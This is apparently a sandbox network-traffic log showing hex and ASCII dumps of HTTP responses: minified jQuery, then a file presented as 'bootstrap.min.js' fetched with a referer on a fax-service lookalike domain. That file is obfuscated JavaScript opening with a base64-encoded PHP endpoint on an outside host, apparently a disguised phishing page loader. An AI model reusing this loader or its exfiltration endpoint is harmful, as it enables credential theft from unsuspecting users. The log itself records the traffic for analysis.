2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-03-14 15:05:06 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:07 UTC	622	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 6032451419-1317754460.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:07 UTC	506	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553001 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Fri, 14 Mar 2025 15:05:07 GMT ETag: "82cdd4b844f73e97f4f543a8b7c11625" Last-Modified: Thu, 06 Mar 2025 03:11:52 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 17184926391676325399 x-cos-request-id: NjdkNDQ1YTNfZjhmNjc4MGJfMjJlNTdfYWE2Yzc3NQ== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-03-14 15:05:07 UTC	7698	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 32 4d 44 4d 79 4e 44 55 78 4e 44 45 35 4c 6e 68 35 65 69 39 6e 62 32 39 6e 62 47 55 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 33 32 38 65 37 65 3d 5f 30 78 35 39 33 34 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 39 33 34 28 5f 30 78 31 36 63 61 30 33 2c 5f 30 78 35 34 31 62 34 63 29 7b 76 61 72 20 5f 30 78 35 66 30 63 33 63 3d 5f 30 78 32 39 66 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 39 33 34 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 66 33 64 35 62 2c 5f 30 78 31 64 38 30 64 66 29 7b 5f 30 78 33 66 33 64 35 62 3d 5f 30 78 33 66 33 64 35 62 2d 28 30 78 31 34 34 2b 30 78 32 2a 2d 30 78 38 39 35 2b 2d 30 78 39 64 2a 2d 30 78 31 64 29 3b 76 61 72 20 5f 30 78 35 31 32 61 32 64 Data Ascii: var file = "aHR0cHM6Ly82MDMyNDUxNDE5Lnh5ei9nb29nbGUucGhw";var _0x328e7e=_0x5934;function _0x5934(_0x16ca03,_0x541b4c){var _0x5f0c3c=_0x29fd();return _0x5934=function(_0x3f3d5b,_0x1d80df){_0x3f3d5b=_0x3f3d5b-(0x144+0x2-0x895+-0x9d-0x1d);var _0x512a2d
2025-03-14 15:05:07 UTC	16368	IN	Data Raw: 73 76 67 25 27 2c 27 25 3b 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 27 2c 27 30 30 3b 5c 78 32 30 7d 5c 78 32 30 2e 6c 6f 61 27 2c 27 72 69 67 68 74 5c 78 32 30 7b 5c 78 32 30 66 6c 27 2c 27 2d 63 6f 6c 6f 72 3a 5c 78 32 30 72 67 27 2c 27 5c 78 32 30 2e 32 72 65 6d 5c 78 32 30 72 67 62 27 2c 27 5c 78 32 30 23 37 34 37 34 37 34 3b 5c 78 32 32 27 2c 27 73 6d 2d 63 65 6e 74 65 72 5c 78 32 30 27 2c 27 6d 5c 78 32 30 72 67 62 61 28 32 32 30 27 2c 27 65 6d 5c 78 32 30 2d 5c 78 32 30 31 70 78 29 5c 78 32 30 27 2c 27 5c 78 32 30 2f 2a 77 69 64 74 68 3a 5c 78 32 30 27 2c 27 3a 5c 78 32 30 23 64 33 64 39 64 66 5c 78 32 30 27 2c 27 72 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 27 2c 27 64 61 72 79 3a 5c 78 32 30 23 36 63 37 27 2c 27 33 33 2e 33 33 33 33 33 33 25 Data Ascii: svg%','%;\x20color:\x20','00;\x20}\x20.loa','right\x20{\x20fl','-color:\x20rg','\x20.2rem\x20rgb','\x20#747474;\x22','sm-center\x20','m\x20rgba(220','em\x20-\x201px)\x20','\x20/*width:\x20',':\x20#d3d9df\x20','re\x20{\x20backg','dary:\x20#6c7','33.333333%
2025-03-14 15:05:07 UTC	8184	IN	Data Raw: 2d 78 6c 2d 65 6e 27 2c 27 6e 74 5c 78 32 30 7d 5c 78 32 30 2e 6d 2d 6c 67 27 2c 27 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 74 6e 2d 27 2c 27 3a 5c 78 32 30 31 34 70 78 3b 5c 78 32 32 3e 3c 27 2c 27 73 2d 69 6e 76 61 6c 69 64 7e 27 2c 27 2e 63 61 72 64 2d 66 6f 6f 74 27 2c 27 77 69 64 74 68 3a 5c 78 32 30 61 75 74 27 2c 27 39 66 61 5c 78 32 30 21 69 6d 70 6f 72 27 2c 27 5c 78 32 30 23 65 39 65 63 65 66 5c 78 32 30 7d 27 2c 27 45 49 41 44 49 42 54 67 4d 42 27 2c 27 3d 5c 78 32 32 74 68 69 73 2e 73 74 79 27 2c 27 30 4b 7a 44 4b 77 77 51 66 4a 27 2c 27 36 63 38 63 61 5c 78 32 30 7d 5c 78 32 30 2e 74 27 2c 27 6f 72 69 65 6e 74 3a 5c 78 32 30 76 65 27 2c 27 74 6f 2c 5c 78 32 30 5c 78 32 32 48 65 6c 76 65 27 2c 27 67 2d 69 6e 6c 69 6e 65 2d 62 27 2c 27 70 3a 5c Data Ascii: -xl-en','nt\x20}\x20.m-lg','45\x20}\x20.btn-',':\x2014px;\x22><','s-invalid~','.card-foot','width:\x20aut','9fa\x20!impor','\x20#e9ecef\x20}','EIADIBTgMB','=\x22this.sty','0KzDKwwQfJ','6c8ca\x20}\x20.t','orient:\x20ve','to,\x20\x22Helve','g-inline-b','p:\
2025-03-14 15:05:07 UTC	8184	IN	Data Raw: 30 2e 62 6f 72 64 65 72 2d 27 2c 27 7a 39 48 6a 42 34 7a 42 35 4c 27 2c 27 72 69 67 68 74 3a 5c 78 32 30 31 2e 35 27 2c 27 2e 35 72 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 63 27 2c 27 6e 65 2d 69 74 65 6d 3a 6e 6f 27 2c 27 65 6d 5c 78 32 30 30 5c 78 32 30 7d 5c 78 32 30 2e 62 73 27 2c 27 6e 74 65 6e 74 2d 63 65 6e 74 27 2c 27 5c 78 32 30 6d 61 78 2d 77 69 64 74 68 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 62 6b 69 74 2d 66 69 6c 65 2d 27 2c 27 2e 70 78 2d 6c 67 2d 30 5c 78 32 30 7b 27 2c 27 74 69 6f 6e 5c 78 32 30 7b 5c 78 32 30 70 61 64 27 2c 27 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 30 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 72 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 75 73 65 6c 2d 69 74 65 6d 2d 27 2c 27 2d 69 6e Data Ascii: 0.border-','z9HjB4zB5L','right:\x201.5','.5rem\x20}\x20.c','ne-item:no','em\x200\x20}\x20.bs','ntent-cent','\x20max-width','-nav\x20.drop','bkit-file-','.px-lg-0\x20{','tion\x20{\x20pad','in-left:\x200','gin:\x20.5rem','r\x20{\x20margin','usel-item-','-in
2025-03-14 15:05:07 UTC	8184	IN	Data Raw: 72 3a 5c 78 32 30 23 34 27 2c 27 39 72 56 38 47 66 42 2b 47 59 27 2c 27 72 3a 5c 78 32 30 23 66 66 66 3b 5c 78 32 30 74 27 2c 27 6f 4b 43 76 2f 62 41 45 4d 42 27 2c 27 6d 3a 5c 78 32 30 30 5c 78 32 30 7d 5c 78 32 30 2e 66 6f 27 2c 27 72 34 71 2f 46 44 55 66 69 68 27 2c 27 6c 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 27 2c 27 38 32 33 33 33 3b 5c 78 32 30 62 6f 72 27 2c 27 69 74 65 6d 73 2d 6d 64 2d 73 27 2c 27 6c 3a 3a 61 66 74 65 72 5c 78 32 30 7b 27 2c 27 69 64 7e 2e 69 6e 76 61 6c 69 27 2c 27 62 75 74 74 6f 6e 3a 3a 2d 6d 27 2c 27 5c 78 32 30 23 30 30 34 30 38 35 3b 5c 78 32 30 27 2c 27 62 6f 74 74 6f 6d 3a 5c 78 32 30 2e 35 27 2c 27 64 74 68 3a 5c 78 32 30 31 30 30 25 5c 78 32 30 27 2c 27 6a 70 65 67 3b 62 61 73 65 36 27 2c 27 28 30 2c 5c 78 32 30 Data Ascii: r:\x20#4','9rV8GfB+GY','r:\x20#fff;\x20t','oKCv/bAEMB','m:\x200\x20}\x20.fo','r4q/FDUfih','le\x20{\x20color','82333;\x20bor','items-md-s','l::after\x20{','id~.invali','button::-m','\x20#004085;\x20','bottom:\x20.5','dth:\x20100%\x20','jpeg;base6','(0,\x20
2025-03-14 15:05:07 UTC	8184	IN	Data Raw: 5c 78 32 30 66 27 2c 27 5c 78 32 30 61 6c 69 67 6e 2d 63 6f 6e 27 2c 27 35 31 34 32 33 34 6b 42 54 56 49 41 27 2c 27 65 6e 74 65 72 3b 5c 78 32 30 6d 69 6e 27 2c 27 59 51 33 4d 4c 66 65 68 75 49 27 2c 27 5c 78 32 30 2e 6f 72 64 65 72 2d 78 6c 27 2c 27 5c 78 32 30 61 75 74 6f 3b 5c 78 32 30 68 65 69 27 2c 27 65 63 6f 6e 64 61 72 79 2e 64 27 2c 27 7d 5c 78 32 30 2e 66 6c 6f 61 74 2d 78 27 2c 27 63 65 6e 74 65 72 65 64 5c 78 32 30 7b 27 2c 27 5c 78 32 30 2d 31 35 70 78 3b 5c 78 32 30 6d 61 27 2c 27 61 6e 74 3b 5c 78 32 30 2d 6d 73 2d 66 27 2c 27 73 69 7a 65 3a 5c 78 32 30 31 33 70 78 27 2c 27 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 27 2c 27 3a 62 65 66 6f 72 65 5c 78 32 30 7b 5c 78 32 30 27 2c 27 2d 72 69 67 68 74 5c 78 32 32 3e 5c 78 32 30 3c 27 2c 27 6c 6f Data Ascii: \x20f','\x20align-con','514234kBTVIA','enter;\x20min','YQ3MLfehuI','\x20.order-xl','\x20auto;\x20hei','econdary.d','}\x20.float-x','centered\x20{','\x20-15px;\x20ma','ant;\x20-ms-f','size:\x2013px',';\x20font-siz',':before\x20{\x20','-right\x22>\x20<','lo
2025-03-14 15:05:07 UTC	8184	IN	Data Raw: 2d 34 2c 5c 78 32 30 2e 63 6f 6c 2d 35 27 2c 27 70 65 3d 73 75 62 6d 69 74 5d 27 2c 27 30 2c 5c 78 32 30 30 2c 5c 78 32 30 30 2c 5c 78 32 30 30 27 2c 27 73 6d 2d 35 5c 78 32 30 7b 5c 78 32 30 2d 77 65 27 2c 27 72 69 67 68 74 5c 78 32 30 7b 5c 78 32 30 70 61 27 2c 27 2d 5c 78 32 30 31 70 78 29 3b 5c 78 32 30 62 6f 27 2c 27 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 21 27 2c 27 4e 56 65 54 44 27 2c 27 63 28 31 30 30 25 5c 78 32 30 2d 5c 78 32 30 34 27 2c 27 6f 6c 6f 72 3a 5c 78 32 30 23 31 35 35 27 2c 27 5c 78 32 30 6d 74 2d 34 5c 78 32 32 3e 5c 78 32 30 3c 69 27 2c 27 6e 74 2d 66 61 6d 69 6c 79 3a 27 2c 27 76 65 72 2d 62 6f 64 79 5c 78 32 30 7b 27 2c 27 3a 5c 78 32 30 76 65 72 74 69 63 61 6c 27 2c 27 70 6c 61 69 6e 74 65 78 74 5c 78 32 30 27 2c 27 6f 72 Data Ascii: -4,\x20.col-5','pe=submit]','0,\x200,\x200,\x200','sm-5\x20{\x20-we','right\x20{\x20pa','-\x201px);\x20bo',':\x201.5rem\x20!','NVeTD','c(100%\x20-\x204','olor:\x20#155','\x20mt-4\x22>\x20<i','nt-family:','ver-body\x20{',':\x20vertical','plaintext\x20','or
2025-03-14 15:05:07 UTC	8184	IN	Data Raw: 72 27 2c 27 61 67 61 69 6e 2e 3c 2f 73 70 27 2c 27 73 7a 4d 54 6b 6b 6b 39 53 54 27 2c 27 61 64 64 69 6e 67 3a 5c 78 32 30 31 2e 27 2c 27 73 61 62 6c 65 64 7e 2e 63 75 27 2c 27 75 6d 6e 3b 5c 78 32 30 77 69 64 74 68 27 2c 27 70 74 79 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 59 6e 41 56 51 54 79 53 65 41 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 62 74 27 2c 27 70 6c 61 79 3a 6e 6f 6e 65 5c 78 32 32 27 2c 27 5c 78 32 30 23 64 63 33 35 34 35 5c 78 32 30 7d 27 2c 27 6f 70 5c 78 32 30 2e 61 72 72 6f 77 5c 78 32 30 27 2c 27 74 6f 6d 2d 63 6f 6e 74 72 6f 27 2c 27 77 3a 3a 62 65 66 6f 72 65 5c 78 32 30 27 2c 27 72 6f 6c 2d 70 6c 61 69 6e 74 27 2c 27 65 61 6e 29 5c 78 32 37 2c 5c 78 32 37 53 65 67 27 2c 27 77 79 51 58 58 27 2c 27 73 74 2d Data Ascii: r','again.</sp','szMTkkk9ST','adding:\x201.','sabled~.cu','umn;\x20width','pty\x20{\x20disp','YnAVQTySeA','\x20.5)\x20}\x20.bt','play:none\x22','\x20#dc3545\x20}','op\x20.arrow\x20','tom-contro','w::before\x20','rol-plaint','ean)\x27,\x27Seg','wyQXX','st-
2025-03-14 15:05:07 UTC	16384	IN	Data Raw: 62 6b 69 74 2d 6f 76 65 27 2c 27 5c 78 32 30 77 68 69 74 65 2d 73 70 61 27 2c 27 78 74 2d 64 61 72 6b 3a 68 6f 27 2c 27 3a 5c 78 32 30 30 3b 5c 78 32 30 66 6c 65 78 2d 27 2c 27 74 65 6e 74 3a 5c 78 32 30 66 6c 65 78 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 6f 63 6b 71 75 6f 74 65 5c 78 32 30 7b 27 2c 27 30 30 3b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 7d 5c 78 32 30 2e 6d 2d 6c 67 2d 34 5c 78 32 30 27 2c 27 3a 5c 78 32 30 69 6e 6c 69 6e 65 5c 78 32 30 21 27 2c 27 6d 64 3e 2e 63 6f 6e 74 61 69 27 2c 27 7a 68 77 72 4a 27 2c 27 6a 6f 34 69 6e 4b 44 64 53 4e 27 2c 27 67 6e 3a 5c 78 32 30 62 6f 74 74 6f 6d 27 2c 27 6d 3a 66 69 72 73 74 2d 63 68 27 2c 27 32 35 29 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 27 2c 27 5c 78 32 32 63 6f 6e 74 61 69 6e 65 Data Ascii: bkit-ove','\x20white-spa','xt-dark:ho',':\x200;\x20flex-','tent:\x20flex','.arrow,\x20.b','ockquote\x20{','00;\x20border','}\x20.m-lg-4\x20',':\x20inline\x20!','md>.contai','zhwrJ','jo4inKDdSN','gn:\x20bottom','m:first-ch','25)\x20}\x20.nav','\x22containe
2025-03-14 15:05:07 UTC	8168	IN	Data Raw: 72 69 6d 61 72 79 2c 5c 78 32 30 27 2c 27 65 66 74 5c 78 32 30 7b 5c 78 32 30 66 6c 6f 61 27 2c 27 6d 2d 32 2c 5c 78 32 30 2e 6d 78 2d 73 27 2c 27 69 63 61 6c 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 69 63 3b 5c 78 32 30 77 69 64 74 68 3a 27 2c 27 74 3a 76 61 6c 69 64 3a 63 68 27 2c 27 3a 5c 78 32 30 23 36 63 37 35 37 64 3b 27 2c 27 2d 64 61 72 6b 3a 5c 78 32 30 23 33 34 27 2c 27 65 72 3a 5c 78 32 30 30 5c 78 32 30 7d 5c 78 32 30 2e 64 27 2c 27 63 68 65 63 6b 2d 69 6e 70 75 27 2c 27 6e 74 5e 3d 74 6f 70 5d 5c 78 32 30 2e 27 2c 27 72 2d 78 6c 2d 34 2c 5c 78 32 30 2e 6d 27 2c 27 6e 66 6f 3a 68 6f 76 65 72 5c 78 32 30 27 2c 27 2c 5c 78 32 30 2e 70 79 2d 6c 67 2d 35 27 2c 27 72 2d 65 78 70 61 6e 64 2d 6c 27 2c 27 72 2d 66 6c 75 69 64 5c 78 32 30 7b 5c 78 Data Ascii: rimary,\x20','eft\x20{\x20floa','m-2,\x20.mx-s','ical\x20{\x20pos','ic;\x20width:','t:valid:ch',':\x20#6c757d;','-dark:\x20#34','er:\x200\x20}\x20.d','check-inpu','nt^=top]\x20.','r-xl-4,\x20.m','nfo:hover\x20',',\x20.py-lg-5','r-expand-l','r-fluid\x20{\x

Timestamp	Bytes transferred	Direction	Data
